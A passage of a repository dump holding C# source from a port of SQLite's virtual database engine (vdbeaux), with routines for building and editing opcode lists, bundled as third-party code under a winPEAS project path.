).pNext;\n      }\n      sqlite3_mutex_leave( pDb.mutex );\n      return pNext;\n    }\n    /*\n    ** Return the value of a status counter for a prepared statement\n    */\n    static int sqlite3_stmt_status( sqlite3_stmt pStmt, int op, int resetFlag )\n    {\n      Vdbe pVdbe = (Vdbe)pStmt;\n      int v = pVdbe.aCounter[op - 1];\n      if ( resetFlag != 0 ) pVdbe.aCounter[op - 1] = 0;\n      return v;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vdbeaux_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i32 = System.Int32;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\nusing u64 = System.UInt64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using Op = CSSQLite.VdbeOp;\n  using sqlite3_stmt = CSSQLite.Vdbe;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2003 September 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used for creating, destroying, and populating\n    ** a VDBE (or an \"sqlite3_stmt\" as it is known to the outside world.)  Prior\n    ** to version 2.8.7, all this code was combined into the vdbe.c source file.\n    ** But that file was getting too big so this subroutines were split out.\n    **\n    ** $Id: vdbeaux.c,v 1.480 2009/08/08 18:01:08 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"vdbeInt.h\"\n\n\n\n    /*\n    ** When debugging the code generator in a symbolic debugger, one can\n    ** set the sqlite3VdbeAddopTrace to 1 and all opcodes will be printed\n    ** as they are added to the instruction stream.\n    */\n#if  SQLITE_DEBUG\n    static bool sqlite3VdbeAddopTrace = false;\n#endif\n\n\n    /*\n** Create a new virtual database engine.\n*/\n    static Vdbe sqlite3VdbeCreate( sqlite3 db )\n    {\n      Vdbe p;\n      p = new Vdbe();// sqlite3DbMallocZero(db, Vdbe).Length;\n      if ( p == null ) return null;\n      p.db = db;\n      if ( db.pVdbe != null )\n      {\n        db.pVdbe.pPrev = p;\n      }\n      p.pNext = db.pVdbe;\n      p.pPrev = null;\n      db.pVdbe = p;\n      p.magic = VDBE_MAGIC_INIT;\n      return p;\n    }\n\n    /*\n    ** Remember the SQL string for a prepared statement.\n    */\n    static void sqlite3VdbeSetSql( Vdbe p, string z, int n, int isPrepareV2 )\n    {\n      if ( p == null ) return;\n#if SQLITE_OMIT_TRACE\nif( !isPrepareV2 ) return;\n#endif\n      Debug.Assert( p.zSql == \"\" );\n      p.zSql = z.Substring( 0, n );// sqlite3DbStrNDup(p.db, z, n);\n      p.isPrepareV2 = isPrepareV2 != 0;\n    }\n\n    /*\n    ** Return the SQL associated with a prepared statement\n    */\n    static string sqlite3_sql( sqlite3_stmt pStmt )\n    {\n      Vdbe p = (Vdbe)pStmt;\n      return ( p.isPrepareV2 ? p.zSql : \"\" );\n    }\n\n    /*\n    ** Swap all content between two VDBE structures.\n    */\n    static void sqlite3VdbeSwap( Vdbe pA, Vdbe pB )\n    {\n      Vdbe tmp = new Vdbe(); Vdbe pTmp = new Vdbe();\n      string zTmp;\n      pA.CopyTo( tmp );\n      pB.CopyTo( pA );\n      tmp.CopyTo( pB );\n      pTmp = pA.pNext;\n      pA.pNext = pB.pNext;\n      pB.pNext = pTmp;\n      pTmp = pA.pPrev;\n      pA.pPrev = pB.pPrev;\n      pB.pPrev = pTmp;\n      zTmp = pA.zSql;\n      pA.zSql = pB.zSql;\n      pB.zSql = zTmp;\n    }\n\n#if  SQLITE_DEBUG\n    /*\n** Turn tracing on or off\n*/\n    static void sqlite3VdbeTrace( Vdbe p, FILE trace )\n    {\n      p.trace = trace;\n    }\n#endif\n\n    /*\n** Resize the Vdbe.aOp array so that it is at least one op larger than\n** it was.\n**\n** If an out-of-memory error occurs while resizing the array, return\n** SQLITE_NOMEM. In this case Vdbe.aOp and Vdbe.nOpAlloc remain\n** unchanged (this is so that any opcodes already allocated can be\n** correctly deallocated along with the rest of the Vdbe).\n*/\n    static int growOpArray( Vdbe p )\n    {\n      //VdbeOp pNew;\n      int nNew = ( p.nOpAlloc != 0 ? p.nOpAlloc * 2 : 1024 / 4 );//(int)(1024/sizeof(Op)));\n      // pNew = sqlite3DbRealloc( p.db, p.aOp, nNew * sizeof( Op ) );\n      //if (pNew != null)\n      //{\n      //      p.nOpAlloc = sqlite3DbMallocSize(p.db, pNew)/sizeof(Op);\n      //  p.aOp = pNew;\n      //}\n      p.nOpAlloc = nNew;\n      if ( p.aOp == null ) p.aOp = new VdbeOp[nNew]; else Array.Resize( ref p.aOp, nNew );\n      return ( p.aOp != null ? SQLITE_OK : SQLITE_NOMEM ); //  return (pNew ? SQLITE_OK : SQLITE_NOMEM);\n    }\n\n    /*\n    ** Add a new instruction to the list of instructions current in the\n    ** VDBE.  Return the address of the new instruction.\n    **\n    ** Parameters:\n    **\n    **    p               Pointer to the VDBE\n    **\n    **    op              The opcode for this instruction\n    **\n    **    p1, p2, p3      Operands\n    **\n    ** Use the sqlite3VdbeResolveLabel() function to fix an address and\n    ** the sqlite3VdbeChangeP4() function to change the value of the P4\n    ** operand.\n    */\n    static int sqlite3VdbeAddOp3( Vdbe p, int op, int p1, int p2, int p3 )\n    {\n      int i;\n      VdbeOp pOp;\n\n      i = p.nOp;\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      Debug.Assert( op > 0 && op < 0xff );\n      if ( p.nOpAlloc <= i )\n      {\n        if ( growOpArray( p ) != 0 )\n        {\n          return 1;\n        }\n      }\n      p.nOp++;\n      if ( p.aOp[i] == null ) p.aOp[i] = new VdbeOp();\n      pOp = p.aOp[i];\n      pOp.opcode = (u8)op;\n      pOp.p5 = 0;\n      pOp.p1 = p1;\n      pOp.p2 = p2;\n      pOp.p3 = p3;\n      pOp.p4.p = null;\n      pOp.p4type = P4_NOTUSED;\n      p.expired = false;\n      //sqlite3VdbePrintOp(null, i, p.aOp[i]);\n#if  SQLITE_DEBUG\n      pOp.zComment = null;\n      if ( sqlite3VdbeAddopTrace ) sqlite3VdbePrintOp( null, i, p.aOp[i] );\n#endif\n#if VDBE_PROFILE\npOp.cycles = 0;\npOp.cnt = 0;\n#endif\n      return i;\n    }\n    static int sqlite3VdbeAddOp0( Vdbe p, int op )\n    {\n      return sqlite3VdbeAddOp3( p, op, 0, 0, 0 );\n    }\n    static int sqlite3VdbeAddOp1( Vdbe p, int op, int p1 )\n    {\n      return sqlite3VdbeAddOp3( p, op, p1, 0, 0 );\n    }\n    static int sqlite3VdbeAddOp2( Vdbe p, int op, int p1, bool b2 )\n    {\n      return sqlite3VdbeAddOp2( p, op, p1, (int)( b2 ? 1 : 0 ) );\n    }\n\n    static int sqlite3VdbeAddOp2( Vdbe p, int op, int p1, int p2 )\n    {\n      return sqlite3VdbeAddOp3( p, op, p1, p2, 0 );\n    }\n\n\n    /*\n    ** Add an opcode that includes the p4 value as a pointer.\n    */\n    //P4_INT32\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, i32 pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.i = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //char\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, char pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.z = pP4.ToString();\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //String\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, string pP4, int p4type )\n    {\n      //      Debug.Assert( pP4 != null );\n      union_p4 _p4 = new union_p4(); _p4.z = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, byte[] pP4, int p4type )\n    {\n      Debug.Assert( op == OP_Null || pP4 != null );\n      union_p4 _p4 = new union_p4(); _p4.z = Encoding.UTF8.GetString( pP4 );\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //P4_INTARRAY\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, int[] pP4, int p4type )\n    {\n      Debug.Assert( pP4 != null );\n      union_p4 _p4 = new union_p4(); _p4.ai = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n    //P4_INT64\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, i64 pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pI64 = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //DOUBLE (REAL)\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, double pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pReal = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //FUNCDEF\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, FuncDef pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pFunc = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //CollSeq\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, CollSeq pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pColl = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //KeyInfo\n    static int sqlite3VdbeAddOp4( Vdbe p, int op, int p1, int p2, int p3, KeyInfo pP4, int p4type )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pKeyInfo = pP4;\n      int addr = sqlite3VdbeAddOp3( p, op, p1, p2, p3 );\n      sqlite3VdbeChangeP4( p, addr, _p4, p4type );\n      return addr;\n    }\n\n    //  static int sqlite3VdbeAddOp4(\n    //  Vdbe p,               /* Add the opcode to this VM */\n    //  int op,               /* The new opcode */\n    //  int p1,               /* The P1 operand */\n    //  int p2,               /* The P2 operand */\n    //  int p3,               /* The P3 operand */\n    //  union_p4 _p4,         /* The P4 operand */\n    //  int p4type            /* P4 operand type */\n    //)\n    //  {\n    //    int addr = sqlite3VdbeAddOp3(p, op, p1, p2, p3);\n    //    sqlite3VdbeChangeP4(p, addr, _p4, p4type);\n    //    return addr;\n    //  }\n\n    /*\n    ** Create a new symbolic label for an instruction that has yet to be\n    ** coded.  The symbolic label is really just a negative number.  The\n    ** label can be used as the P2 value of an operation.  Later, when\n    ** the label is resolved to a specific address, the VDBE will scan\n    ** through its operation list and change all values of P2 which match\n    ** the label into the resolved address.\n    **\n    ** The VDBE knows that a P2 value is a label because labels are\n    ** always negative and P2 values are suppose to be non-negative.\n    ** Hence, a negative P2 value is a label that has yet to be resolved.\n    **\n    ** Zero is returned if a malloc() fails.\n    */\n    static int sqlite3VdbeMakeLabel( Vdbe p )\n    {\n      int i;\n      i = p.nLabel++;\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      if ( i >= p.nLabelAlloc )\n      {\n        int n = p.nLabelAlloc * 2 + 5;\n        Array.Resize( ref p.aLabel, n );\n        //p.aLabel = sqlite3DbReallocOrFree(p.db, p.aLabel,\n        //                                       n*sizeof(p.aLabel[0]));\n        p.nLabelAlloc = p.aLabel.Length;//sqlite3DbMallocSize(p.db, p.aLabel)/sizeof(p.aLabel[0]);\n      }\n      if ( p.aLabel != null )\n      {\n        p.aLabel[i] = -1;\n      }\n      return -1 - i;\n    }\n\n    /*\n    ** Resolve label \"x\" to be the address of the next instruction to\n    ** be inserted.  The parameter \"x\" must have been obtained from\n    ** a prior call to sqlite3VdbeMakeLabel().\n    */\n    static void sqlite3VdbeResolveLabel( Vdbe p, int x )\n    {\n      int j = -1 - x;\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      Debug.Assert( j >= 0 && j < p.nLabel );\n      if ( p.aLabel != null )\n      {\n        p.aLabel[j] = p.nOp;\n      }\n    }\n\n    /*\n    ** Loop through the program looking for P2 values that are negative\n    ** on jump instructions.  Each such value is a label.  Resolve the\n    ** label by setting the P2 value to its correct non-zero value.\n    **\n    ** This routine is called once after all opcodes have been inserted.\n    **\n    ** Variable pMaxFuncArgs is set to the maximum value of any P2 argument\n    ** to an OP_Function, OP_AggStep or OP_VFilter opcode. This is used by\n    ** sqlite3VdbeMakeReady() to size the Vdbe.apArg[] array.\n    **\n    ** This routine also does the following optimization:  It scans for\n    ** instructions that might cause a statement rollback.  Such instructions\n    ** are:\n    **\n    **   *  OP_Halt with P1=SQLITE_CONSTRAINT and P2=OE_Abort.\n    **   *  OP_Destroy\n    **   *  OP_VUpdate\n    **   *  OP_VRename\n    **\n    ** If no such instruction is found, then every Statement instruction\n    ** is changed to a Noop.  In this way, we avoid creating the statement\n    ** journal file unnecessarily.\n    */\n    static void resolveP2Values( Vdbe p, ref int pMaxFuncArgs )\n    {\n      int i;\n      int nMaxArgs = 0;\n      Op pOp;\n      int[] aLabel = p.aLabel;\n      bool doesStatementRollback = false;\n      bool hasStatementBegin = false;\n      p.readOnly = true;\n      p.usesStmtJournal = false;\n      for ( i = 0 ; i < p.nOp ; i++ )\n      {\n        pOp = p.aOp[i];\n        int opcode = pOp.opcode;\n\n        if ( opcode == OP_Function || opcode == OP_AggStep )\n        {\n          if ( pOp.p5 > nMaxArgs ) nMaxArgs = pOp.p5;\n        }\n        else if ( opcode == OP_VUpdate )\n        {\n          if ( pOp.p2 > nMaxArgs ) nMaxArgs = pOp.p2;\n        }\n        if ( opcode == OP_Halt )\n        {\n          if ( pOp.p1 == SQLITE_CONSTRAINT && pOp.p2 == OE_Abort )\n          {\n            doesStatementRollback = true;\n          }\n        }\n        else if ( opcode == OP_Statement )\n        {\n          hasStatementBegin = true;\n          p.usesStmtJournal = true;\n        }\n        else if ( opcode == OP_Destroy )\n        {\n          doesStatementRollback = true;\n        }\n        else if ( opcode == OP_Transaction && pOp.p2 != 0 )\n        {\n          p.readOnly = false;\n#if ! SQLITE_OMIT_VIRTUALTABLE\n}else if( opcode==OP_VUpdate || opcode==OP_VRename ){\ndoesStatementRollback = 1;\n}else if( opcode==OP_VFilter ){\nint n;\nDebug.Assert( i < p.nOp - 3 );\nDebug.Assert( pOp[-1].opcode==OP_Integer );\nn = pOp[-1].p1;\nif( n>nMaxArgs ) nMaxArgs = n;\n#endif\n        }\n\n        if ( sqlite3VdbeOpcodeHasProperty( opcode, OPFLG_JUMP ) && pOp.p2 < 0 )\n        {\n          Debug.Assert( -1 - pOp.p2 < p.nLabel );\n          pOp.p2 = aLabel[-1 - pOp.p2];\n        }\n      }\n      //sqlite3DbFree( p.db, ref p.aLabel );\n\n      pMaxFuncArgs = nMaxArgs;\n\n      /* If we never rollback a statement transaction, then statement\n      ** transactions are not needed.  So change every OP_Statement\n      ** opcode into an OP_Noop.  This avoid a call to sqlite3OsOpenExclusive()\n      ** which can be expensive on some platforms.\n      */\n      if ( hasStatementBegin && !doesStatementRollback )\n      {\n        p.usesStmtJournal = false;\n        for ( i = 0 ; i < p.nOp ; i++ )\n        {\n          pOp = p.aOp[i];\n          if ( pOp.opcode == OP_Statement )\n          {\n            pOp.opcode = OP_Noop;\n          }\n        }\n      }\n    }\n\n    /*\n    ** Return the address of the next instruction to be inserted.\n    */\n    static int sqlite3VdbeCurrentAddr( Vdbe p )\n    {\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      return p.nOp;\n    }\n\n    /*\n    ** Add a whole list of operations to the operation stack.  Return the\n    ** address of the first operation added.\n    */\n    static int sqlite3VdbeAddOpList( Vdbe p, int nOp, VdbeOpList[] aOp )\n    {\n      int addr;\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      if ( p.nOp + nOp > p.nOpAlloc && growOpArray( p ) != 0 )\n      {\n        return 0;\n      }\n      addr = p.nOp;\n      if ( ALWAYS( nOp > 0 ) )\n      {\n        int i;\n        VdbeOpList pIn;\n        for ( i = 0 ; i < nOp ; i++ )\n        {\n          pIn = aOp[i];\n          int p2 = pIn.p2;\n          if ( p.aOp[i + addr] == null ) p.aOp[i + addr] = new VdbeOp();\n          VdbeOp pOut = p.aOp[i + addr];\n          pOut.opcode = pIn.opcode;\n          pOut.p1 = pIn.p1;\n          if ( p2 < 0 && sqlite3VdbeOpcodeHasProperty( pOut.opcode, OPFLG_JUMP ) )\n          {\n            pOut.p2 = addr + ( -1 - p2 );// ADDR(p2);\n          }\n          else\n          {\n            pOut.p2 = p2;\n          }\n          pOut.p3 = pIn.p3;\n          pOut.p4type = P4_NOTUSED;\n          pOut.p4.p = null;\n          pOut.p5 = 0;\n#if  SQLITE_DEBUG\n          pOut.zComment = null;\n          if ( sqlite3VdbeAddopTrace )\n          {\n            sqlite3VdbePrintOp( null, i + addr, p.aOp[i + addr] );\n          }\n#endif\n        }\n        p.nOp += nOp;\n      }\n      return addr;\n    }\n\n    /*\n    ** Change the value of the P1 operand for a specific instruction.\n    ** This routine is useful when a large program is loaded from a\n    ** static array using sqlite3VdbeAddOpList but we want to make a\n    ** few minor changes to the program.\n    */\n    static void sqlite3VdbeChangeP1( Vdbe p, int addr, int val )\n    {\n      Debug.Assert( p != null );\n      Debug.Assert( addr >= 0 );\n      if ( p.nOp > addr )\n      {\n        p.aOp[addr].p1 = val;\n      }\n    }\n\n    /*\n    ** Change the value of the P2 operand for a specific instruction.\n    ** This routine is useful for setting a jump destination.\n    */\n    static void sqlite3VdbeChangeP2( Vdbe p, int addr, int val )\n    {\n      Debug.Assert( p != null );\n      Debug.Assert( addr >= 0 );\n      if ( p.nOp > addr )\n      {\n        p.aOp[addr].p2 = val;\n      }\n    }\n\n    /*\n    ** Change the value of the P3 operand for a specific instruction.\n    */\n    static void sqlite3VdbeChangeP3( Vdbe p, int addr, int val )\n    {\n      Debug.Assert( p != null );\n      Debug.Assert( addr >= 0 );\n      if ( p.nOp > addr )\n      {\n        p.aOp[addr].p3 = val;\n      }\n    }\n\n    /*\n    ** Change the value of the P5 operand for the most recently\n    ** added operation.\n    */\n    static void sqlite3VdbeChangeP5( Vdbe p, u8 val )\n    {\n      Debug.Assert( p != null );\n      if ( p.aOp != null )\n      {\n        Debug.Assert( p.nOp > 0 );\n        p.aOp[p.nOp - 1].p5 = val;\n      }\n    }\n\n    /*\n    ** Change the P2 operand of instruction addr so that it points to\n    ** the address of the next instruction to be coded.\n    */\n    static void sqlite3VdbeJumpHere( Vdbe p, int addr )\n    {\n      sqlite3VdbeChangeP2( p, addr, p.nOp );\n    }\n\n\n    /*\n    ** If the input FuncDef structure is ephemeral, then free it.  If\n    ** the FuncDef is not ephermal, then do nothing.\n    */\n    static void freeEphemeralFunction( sqlite3 db, FuncDef pDef )\n    {\n      if ( ALWAYS( pDef ) && ( pDef.flags & SQLITE_FUNC_EPHEM ) != 0 )\n      {\n        pDef = null;\n        //sqlite3DbFree( db, ref  pDef );\n      }\n    }\n\n    /*\n    ** Delete a P4 value if necessary.\n    */\n    static void freeP4( sqlite3 db, int p4type, object p4 )\n    {\n      if ( p4 != null )\n      {\n        switch ( p4type )\n        {\n          case P4_REAL:\n          case P4_INT64:\n          case P4_MPRINTF:\n          case P4_DYNAMIC:\n          case P4_KEYINFO:\n          case P4_INTARRAY:\n          case P4_KEYINFO_HANDOFF:\n            {\n              //sqlite3DbFree( db, ref p4 );\n              break;\n            }\n          case P4_VDBEFUNC:\n            {\n              VdbeFunc pVdbeFunc = (VdbeFunc)p4;\n              freeEphemeralFunction( db, pVdbeFunc.pFunc );\n              sqlite3VdbeDeleteAuxData( pVdbeFunc, 0 );\n              //sqlite3DbFree( db, ref pVdbeFunc );\n              break;\n            }\n          case P4_FUNCDEF:\n            {\n              freeEphemeralFunction( db, (FuncDef)p4 );\n              break;\n            }\n          case P4_MEM:\n            {\n              p4 = null;// sqlite3ValueFree(ref (sqlite3_value)p4);\n              break;\n            }\n          case P4_VTAB:\n            {\n              sqlite3VtabUnlock( (VTable)p4 );\n              break;\n            }\n        }\n      }\n    }\n\n\n    /*\n    ** Change N opcodes starting at addr to No-ops.\n    */\n    static void sqlite3VdbeChangeToNoop( Vdbe p, int addr, int N )\n    {\n      if ( p.aOp != null )\n      {\n        sqlite3 db = p.db;\n        while ( N-- > 0 )\n        {\n          VdbeOp pOp = p.aOp[addr + N];\n          freeP4( db, pOp.p4type, pOp.p4.p );\n          pOp = p.aOp[addr + N] = new VdbeOp();//memset(pOp, 0, sizeof(pOp[0]));\n          pOp.opcode = OP_Noop;\n          //pOp++;\n        }\n      }\n    }\n\n    /*\n    ** Change the value of the P4 operand for a specific instruction.\n    ** This routine is useful when a large program is loaded from a\n    ** static array using sqlite3VdbeAddOpList but we want to make a\n    ** few minor changes to the program.\n    **\n    ** If n>=0 then the P4 operand is dynamic, meaning that a copy of\n    ** the string is made into memory obtained from sqlite3Malloc().\n    ** A value of n==0 means copy bytes of zP4 up to and including the\n    ** first null byte.  If n>0 then copy n+1 bytes of zP4.\n    **\n    ** If n==P4_KEYINFO it means that zP4 is a pointer to a KeyInfo structure.\n    ** A copy is made of the KeyInfo structure into memory obtained from\n    ** sqlite3Malloc, to be freed when the Vdbe is finalized.\n    ** n==P4_KEYINFO_HANDOFF indicates that zP4 points to a KeyInfo structure\n    ** stored in memory that the caller has obtained from sqlite3Malloc. The\n    ** caller should not free the allocation, it will be freed when the Vdbe is\n    ** finalized.\n    **\n    ** Other values of n (P4_STATIC, P4_COLLSEQ etc.) indicate that zP4 points\n    ** to a string or structure that is guaranteed to exist for the lifetime of\n    ** the Vdbe. In these cases we can just copy the pointer.\n    **\n    ** If addr<0 then change P4 on the most recently inserted instruction.\n    */\n\n    //P4_COLLSEQ\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, CollSeq pColl, int n )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pColl = pColl;\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n    //P4_FUNCDEF\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, FuncDef pFunc, int n )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pFunc = pFunc;\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n    //P4_INT32\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, int i32n, int n )\n    {\n      union_p4 _p4 = new union_p4(); _p4.i = i32n;\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n\n    //P4_KEYINFO\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, KeyInfo pKeyInfo, int n )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pKeyInfo = pKeyInfo;\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n    //CHAR\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, char c, int n )\n    {\n      union_p4 _p4 = new union_p4(); _p4.z = c.ToString();\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n\n    //MEM\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, Mem m, int n )\n    {\n      union_p4 _p4 = new union_p4(); _p4.pMem = m;\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n\n    //STRING\n\n    //STRING + Type\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, string z, dxDel P4_Type )\n    {\n      union_p4 _p4 = new union_p4();\n      _p4.z = z;\n      sqlite3VdbeChangeP4( p, addr, _p4, P4_DYNAMIC );\n    }\n\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, string z, int n )\n    {\n      union_p4 _p4 = new union_p4();\n      if ( n > 0 && n <= z.Length ) _p4.z = z.Substring( 0, n );\n      else _p4.z = z;\n      sqlite3VdbeChangeP4( p, addr, _p4, n );\n    }\n\n    static void sqlite3VdbeChangeP4( Vdbe p, int addr, union_p4 _p4, int n )\n    {\n      Op pOp;\n      sqlite3 db;\n      Debug.Assert( p != null );\n      db = p.db;\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      if ( p.aOp == null /*|| db.mallocFailed != 0 */)\n      {\n        if ( n != P4_KEYINFO && n != P4_VTAB )\n        {\n          freeP4( db, n, _p4 );\n        }\n        return;\n      }\n      Debug.Assert( p.nOp > 0 );\n      Debug.Assert( addr < p.nOp );\n      if ( addr < 0 )\n      {\n        addr = p.nOp - 1;\n      }\n      pOp = p.aOp[addr];\n      freeP4( db, pOp.p4type, pOp.p4.p );\n      pOp.p4.p = null;\n      if ( n == P4_INT32 )\n      {\n        /* Note: this cast is safe, because the origin data point was an int\n        ** that was cast to a (const char *). */\n        pOp.p4.i = _p4.i; // SQLITE_PTR_TO_INT(zP4);\n        pOp.p4type = P4_INT32;\n      }\n      else if ( n == P4_INT64 )\n      {\n        pOp.p4.pI64 = _p4.pI64;\n        pOp.p4type = n;\n      }\n      else if ( n == P4_REAL )\n      {\n        pOp.p4.pReal = _p4.pReal;\n        pOp.p4type = n;\n      }\n      else if ( _p4 == null )\n      {\n        pOp.p4.p = null;\n        pOp.p4type = P4_NOTUSED;\n      }\n      else if ( n == P4_KEYINFO )\n      {\n        KeyInfo pKeyInfo;\n        int nField, nByte;\n\n        nField = _p4.pKeyInfo.nField;\n        //nByte = sizeof(*pKeyInfo) + (nField-1)*sizeof(pKeyInfo.aColl[0]) + nField;\n        pKeyInfo = new KeyInfo();//sqlite3Malloc( nByte );\n        pOp.p4.pKeyInfo = pKeyInfo;\n        if ( pKeyInfo != null )\n        {\n          //u8 *aSortOrder;\n          //memcpy(pKeyInfo, zP4, nByte);\n          //aSortOrder = pKeyInfo.aSortOrder;\n          //if( aSortOrder ){\n          //  pKeyInfo.aSortOrder = (unsigned char*)&pKeyInfo.aColl[nField];\n          //  memcpy(pKeyInfo.aSortOrder, aSortOrder, nField);\n          //}\n          pKeyInfo = _p4.pKeyInfo.Copy();\n          pOp.p4type = P4_KEYINFO;\n        }\n        else\n        {\n          //p.db.mallocFailed = 1;\n          pOp.p4type = P4_NOTUSED;\n        }\n        pOp.p4.pKeyInfo = _p4.pKeyInfo;\n        pOp.p4type = P4_KEYINFO;\n      }\n      else if ( n == P4_KEYINFO_HANDOFF || n == P4_KEYINFO_STATIC )\n      {\n        pOp.p4.pKeyInfo = _p4.pKeyInfo;\n        pOp.p4type = P4_KEYINFO;\n      }\n      else if ( n == P4_FUNCDEF )\n      {\n        pOp.p4.pFunc = _p4.pFunc;\n        pOp.p4type = P4_FUNCDEF;\n      }\n      else if ( n == P4_COLLSEQ )\n      {\n        pOp.p4.pColl = _p4.pColl;\n        pOp.p4type = P4_COLLSEQ;\n      }\n      else if ( n == P4_DYNAMIC || n == P4_STATIC )\n      {\n        pOp.p4.z = _p4.z;\n        pOp.p4type = P4_DYNAMIC;\n      }\n      else if ( n == P4_MEM )\n      {\n        pOp.p4.pMem = _p4.pMem;\n        pOp.p4type = P4_MEM;\n      }\n      else if ( n == P4_INTARRAY )\n      {\n        pOp.p4.ai = _p4.ai;\n        pOp.p4type = P4_INTARRAY;\n      }\n      else if ( n == P4_VTAB )\n      {\n        pOp.p4.pVtab = _p4.pVtab;\n        pOp.p4type = P4_VTAB;\n        sqlite3VtabLock( _p4.pVtab );\n        Debug.Assert( ( _p4.pVtab ).db == p.db );\n      }\n      else if ( n < 0 )\n      {\n        pOp.p4.p = _p4.p;\n        pOp.p4type = n;\n      }\n      else\n      {\n        //if (n == 0) n =  n = sqlite3Strlen30(zP4);\n        pOp.p4.z = _p4.z;// sqlite3DbStrNDup(p.db, zP4, n);\n        pOp.p4type = P4_DYNAMIC;\n      }\n    }\n\n#if !NDEBUG\n    /*\n** Change the comment on the the most recently coded instruction.  Or\n** insert a No-op and add the comment to that new instruction.  This\n** makes the code easier to read during debugging.  None of this happens\n** in a production build.\n*/\n    static void sqlite3VdbeComment( Vdbe p, string zFormat, params object[] ap )\n    {\n      //      va_list ap;\n      Debug.Assert( p.nOp > 0 || p.aOp == null );\n      Debug.Assert( p.aOp == null || p.aOp[p.nOp - 1].zComment == null /* || p.db.mallocFailed != 0 */);\n      if ( p.nOp != 0 )\n      {\n        string pz;// = p.aOp[p.nOp-1].zComment;\n        va_start( ap, zFormat );\n        //sqlite3DbFree(db,ref pz);\n        pz = sqlite3VMPrintf( p.db, zFormat, ap );\n        p.aOp[p.nOp - 1].zComment = pz;\n        va_end( ap );\n      }\n    }\n    static void sqlite3VdbeNoopComment( Vdbe p, string zFormat, params object[] ap )\n    {\n      //va_list ap;\n      sqlite3VdbeAddOp0( p, OP_Noop );\n      Debug.Assert( p.nOp > 0 || 